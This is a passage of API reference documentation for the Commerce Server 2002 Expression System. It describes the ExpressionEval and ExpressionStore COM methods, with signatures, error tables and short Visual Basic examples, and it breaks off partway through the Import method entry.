[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::LoadExpr Method [C++]

ExpressionEval.LoadExpr Method [Visual Basic]

Use this method to pre-compile an expression, and if successful, load the expression into the expression cache.

Definition

[C++]
HRESULT IExpressionEval::LoadExpr(
 long nExprID
);
[Visual Basic]
Sub LoadExpr(
 nExprID As Long
)

Parameters

nExprID [C++]
[in] A positive long that contains the identifier of the expression to load into the expression cache.
nExprID [Visual Basic]
[in] A positive Long that contains the identifier of the expression to load into the expression cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type info missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NOTFOUND | [C++] 0x81100012 [Visual Basic] &H81100012 | Could not find the specified expression ID, nExprID, in the expression store
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the specified expression is already loaded in the expression cache at the time of the call, it will be reloaded.

The LoadExpr method increments the read-only ExprCount property by one when it loads an expression into the expression cache.

With the exception of XML fragments, only expressions that exist in the expression cache may be evaluated. The Eval method loads an expression from the expression store that is not preloaded into the expression cache.

Use the LoadAll method to load all expressions into the expression cache. Use the FlushExpr method to remove an expression from the expression cache.

The Connect method must be called before using the LoadExpr method.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::FlushExpr

[C++] IExpressionEval::LoadAll

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadAll


IExpressionEval::ParseXML Method [C++]

ExpressionEval.ParseXML Method [Visual Basic]

Use this method to check whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Definition

[C++]
HRESULT IExpressionEval::ParseXML(
 BSTR bstrXMLExpr,
 VARIANT_BOOL* pbValid
);
[Visual Basic]
Function ParseXML(
 bstrXMLExpr As String
) As Boolean

Parameters

bstrXMLExpr [C++]
[in] A BSTR that contains the XML text defining an expression.
bstrXMLExpr [Visual Basic]
[in] A String that contains the XML text defining an expression.
pbValid [C++]
[out, retval] A pointer to a VARIANT_BOOL indicating the validity of the expression.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a Boolean value indicating the results of parsing the expression (bstrXMLExpr).

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Since this method only checks syntax, the expression may still be invalid even though the method succeeds.

The expression store is not used for XML fragments.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbValid parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' bResult is a Boolean

bResult = oExpressionEval.ParseXML(sXMLExpr)

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionEval Object

[C++] IExpressionEval::Eval

[C++] IExpressionEval::EvalXML

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Eval

[Visual Basic] ExpressionEval.EvalXML


IExpressionEval Properties [C++]

ExpressionEval Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
ExprCount | long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.
[Visual Basic]
Property | Type | Description
ExprCount | Long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.


IExpressionEval::get_ExprCount Property [C++]

ExpressionEval.ExprCount Property [Visual Basic]

The ExprCount property is a read-only integer that indicates the number of expressions that correctly pre-compiled and loaded into the expression cache. Expressions that contain syntactic errors will fail to pre-compile correctly.

Definition

[C++]
HRESULT IExpressionEval::get_ExprCount(
 long* pExprCount);
[Visual Basic]
Property ExprCount As Long

Parameters

pExprCount [C++]
[out, retval] A pointer to a long used to return the number of expressions loaded in the expression store.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::FlushExpr

[C++] IExpressionEval::LoadAll

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadAll

[Visual Basic] ExpressionEval.LoadExpr


ExpressionStore Object [C++]

ExpressionStore Object [Visual Basic]

Use this object to manipulate expressions contained in an expression store. An expression store is a database of expressions along with information about the expressions. There is one expression store for each commerce site.

ProgID: | Commerce.ExpressionStore (Externally creatable)
COM Class Name: | ExpressionStore
Type Library Name: | Microsoft Commerce 2002 Expression System Type Library
DLL Name: | exprarch.dll
Threading Model: | Both
[C++]
COM Interface Name: | IExpressionStore
Interface ID Constant: | IID_IExpressionStore
Header File: | ExprArchDLL.h, exprarch.h, mspu_guids.h

[C++] In C++, use the IExpressionStore interface to access the methods of the ExpressionStore object.

Methods

[C++]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.
[Visual Basic]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.

Remarks

The connection string to a valid expression store must be stored using the Connect method before calling any other method of the ExpressionStore object.

An ExpressionStore object is internally created when the Connect method of an ExpressionEval object is invoked.

[C++] Many of the methods in ExpressionStore class use the Expression recordset object. For more information, see Expression Recordset.

[Visual Basic] Many of the methods in ExpressionStore class use the Expression recordset object. For more information, see Expression Recordset.

See Also

[C++] Targeting Objects

[C++] Expression XML Structures

[C++] ExpressionEval Object

[Visual Basic] Targeting Objects

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionEval Object


IExpressionStore Methods [C++]

ExpressionStore Methods [Visual Basic]

Methods

[C++]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.
[Visual Basic]
Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADO Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.


IExpressionStore::Connect Method [C++]

ExpressionStore.Connect Method [Visual Basic]

Use this method to store the connection string to an expression store.

Definition

[C++]
HRESULT IExpressionStore::Connect(
 BSTR strConnStr
);
[Visual Basic]
Sub Connect(
 strConnStr As String
)

Parameters

strConnStr [C++]
[in] A BSTR that contains the database connection information for the expression store.
strConnStr [Visual Basic]
[in] A String that contains the database connection information for the expression store.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRSTORE | [C++] 0x8110001E [Visual Basic] &H8110001E | Specified database does not contain a valid expression store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_STOREPERMISSIONS | [C++] 0x8110000F [Visual Basic] &H8110000F | Insufficient access permissions on the expression store database

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ExpressionStore object does not maintain a persistent ADO connection. This method stores the connection string after validating that the connection string points to an actual expression store. The Disconnect method sets the connection string to an empty string.

Each method of the ExpressionStore object creates a connection when needed, and when done with it, closes the connection. This relies on ADO connection pooling and provides higher availability.

The connection string for the expression store may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles".

The Connect method must be successfully executed before calling any other method of an externally created ExpressionStore object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example [Visual Basic]

[Visual Basic]
' Connect using an explicit connection string .
' oExpressionStore is a valid ExpressionStore object

oExpressionStore.Connect "Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'"

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.

sConn = oSCRO.Fields("Biz Data Service") _
.Value.Fields("s_BizDataStoreConnectionString").Value
oExpressionStore.Connect sConn

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Disconnect

[C++] SiteConfigReadOnly Object

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Disconnect

[Visual Basic] SiteConfigReadOnly Object


IExpressionStore::DeleteExpression Method [C++]

ExpressionStore.DeleteExpression Method [Visual Basic]

Use this method to delete an existing expression from the expression store.

Definition

[C++]
HRESULT IExpressionStore::DeleteExpression(
 long nExprID,
 long flags
);
[Visual Basic]
Sub DeleteExpression(
 nExprID As Long,
 flags As Long
)

Parameters

nExprID [C++]
[in] A long that specifies the expression to be deleted.
nExprID [Visual Basic]
[in] A Long that specifies the expression to be deleted.
flags [C++]
[in] A long that contains the optional control flags. This parameter is currently unused and should be set to zero (0).
flags [Visual Basic]
[in] A Long that contains the optional control flags. This parameter is currently unused and should be set to zero (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified, or expression ID not found in store
E_EXPR_EXPRDELFAILED | [C++] 0x81100010 [Visual Basic] &H81100010 | Delete operation failed, possibly due to other expressions having dependencies on this expression
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the specified expression has a non-zero reference count, meaning that other expressions depend on the specified expression, the expression is not deleted.

Call the Connect method before calling the DeleteExpression method.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 59552 is a valid expression ID retrieved by the GetExprID method.

oExpressionStore.Delete(59552, 0)

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::NewExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.NewExpression


IExpressionStore::Disconnect Method [C++]

ExpressionStore.Disconnect Method [Visual Basic]

Use this method to set the connection string to the expression store to an empty string.

Definition

[C++]
HRESULT IExpressionStore::Disconnect(
);
[Visual Basic]
Sub Disconnect()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] For more information about connecting and disconnecting to an expression store, see IExpressionStore::Connect

[Visual Basic] For more information about connecting and disconnecting to an expression store, see ExpressionStore.Connect

See Also

[C++] ExpressionStore Object

[Visual Basic] ExpressionStore Object


IExpressionStore::Export Method [C++]

ExpressionStore.Export Method [Visual Basic]

Use this method to export the expressions stored in the expression store to a file.

Definition

[C++]
HRESULT IExpressionStore::Export(
 BSTR bstrFileName
);
[Visual Basic]
Sub Export(
 bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR that contains the name of the file used to store the expressions.
bstrFileName [Visual Basic]
[in] A String that contains the name of the file used to store the expressions.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The file being exported to should not exist prior to the call or the method will fail. If an absolute path is not specified, the file is placed in the \WINNT\system32 folder.

After the method successfully completes, the file contains the XML schema for the expression recordset followed by the XML representation of each expression recordset in the expression store.

Use the Import method to copy the expressions in a file to the expression store.

Call the Connect method before calling the Export method.

[Visual Basic]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Export "Expressions.xml"

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionStore Object

[C++] IExpressionStore::Import

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Import


IExpressionStore::GetAllExprs Method [C++]

ExpressionStore.GetAllExprs Method [Visual Basic]

Use this method to retrieve an ADO hierarchical Recordset object that contains all the expressions residing in the expression store.

Definition

[C++]
HRESULT IExpressionStore::GetAllExprs(
 _Recordset** ppRSExprs
);
[Visual Basic]
Function GetAllExprs() As Object

Parameters

ppRSExprs [C++]
[out, retval] An address of a pointer to an ADO hierarchical Recordset object that contains all the expressions residing in the expression store.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns an ADO hierarchical Recordset object. If successful, the Recordset object contains the expressions currently residing in the expression store. If unsuccessful, the Recordset object is set to Nothing.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Recordset object contains one record for each expression in the expression store. For information on the format and fields of the Recordset object, see Expression Recordset.

[Visual Basic] The Recordset object contains one record for each expression in the expression store. For information on the format and fields of the Recordset object, see Expression Recordset.

Use the GetExpression method to retrieve a single expression from the expression store.

Call the Connect method before calling the GetAllExprs method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppRSExprs parameter contains valid data only if the method completes successfully.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExpression


IExpressionStore::GetExpression Method [C++]

ExpressionStore.GetExpression Method [Visual Basic]

Use this method to retrieve an ADO hierarchical Recordset object that contains the specified expression.

Definition

[C++]
HRESULT IExpressionStore::GetExpression(
 long nExprID,
 _Recordset** ppRSExpr
);
[Visual Basic]
Function GetExpression(
 nExprID As Long
) As Object

Parameters

nExprID [C++]
[in] A long that contains the unique identifier of the expression.
nExprID [Visual Basic]
[in] A Long that contains the unique identifier of the expression.
ppRSExpr [C++]
[out, retval] An address of a pointer to an ADO hierarchical Recordset object that contains the expression.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details. If the method does not complete successfully, the address of the pointer to the Recordset object is set to NULL.

[Visual Basic] This method returns an ADO hierarchical Recordset object. If successful, the Recordset object contains the specified expression. If unsuccessful, the Recordset object is set to Nothing.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified, or expression ID not found in store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

To access all expressions in the connected expression store, use the GetAllExprs method.

Call the Connect method before calling the GetExpression method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppRSExps parameter contains valid data only if the method completes successfully.

See Also

[C++] Expression Recordset

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetAllExprs

[C++] IExpressionStore::NewExpression

[Visual Basic] Expression Recordset

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetAllExprs

[Visual Basic] ExpressionStore.NewExpression


IExpressionStore::GetExprID Method [C++]

ExpressionStore.GetExprID Method [Visual Basic]

Use this method to translate the name of an expression into its corresponding expression ID.

Definition

[C++]
HRESULT IExpressionStore::GetExprID(
 BSTR strExprName,
 long* pnExprID
);
[Visual Basic]
Function GetExprID(
 strExprName As String
) As Long

Parameters

strExprName [C++]
[in] A BSTR that contains the expression name.
strExprName [Visual Basic]
[in] A String that contains the expression name.
pnExprID [C++]
[out, retval] A pointer to a long that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRNAME | [C++] 0x81100003 [Visual Basic] &H81100003 | Invalid expression name, or expression name not found in store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetExprName method to translate the ID of an expression into its corresponding expression name.

Call the Connect method before calling the GetExprID method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppExprID parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' lExpressionID is a long
' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

lExpressionID = oExpressionStore.GetExprID("MyExpression")

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExpression

[C++] IExpressionStore::GetExprName

[C++] IExpressionStore::RenameExpression

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExpression

[Visual Basic] ExpressionStore.GetExprName

[Visual Basic] ExpressionStore.RenameExpression


IExpressionStore::GetExprName Method [C++]

ExpressionStore.GetExprName Method [Visual Basic]

Use this method to translate the ID of an expression into its corresponding expression name.

Definition

[C++]
HRESULT IExpressionStore::GetExprName(
 long nExprID,
 BSTR* pstrExprName
);
[Visual Basic]
Function GetExprName(
 nExprID As Long
) As String

Parameters

nExprID [C++]
[in] A long that contains a unique expression ID.
nExprID [Visual Basic]
[in] A Long that contains a unique expression ID.
pstrExprName [C++]
[out, retval] A pointer to a BSTR that contains the name of the expression. On failure, the expression name is set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the name of the expression. An empty String is returned if the expression ID is a Long but does not represent an existing expression in the expression store.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetExprID method to translate the name of an expression into its corresponding expression ID.

Call the Connect method before calling the GerExprName method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pstrExprName parameter contains valid data only if the method completes successfully.

See Also

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] IExpressionStore::GetExprID

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] ExpressionStore.GetExprID


IExpressionStore::Import Method [C++]

ExpressionStore.Import Method [Visual Basic]

Use this method to import expressions from a file into the expression store.

Definition

[C++]
HRESULT IExpressionStore::Import(
 BSTR bstrFileName
);
[Visual Basic]
Sub Import(
 bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR that contains the path and name of the file from which to import the expressions.
bstrFileName [Visual Basic]
[in] A String that contains the path and name of the file from which to import the expressions.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

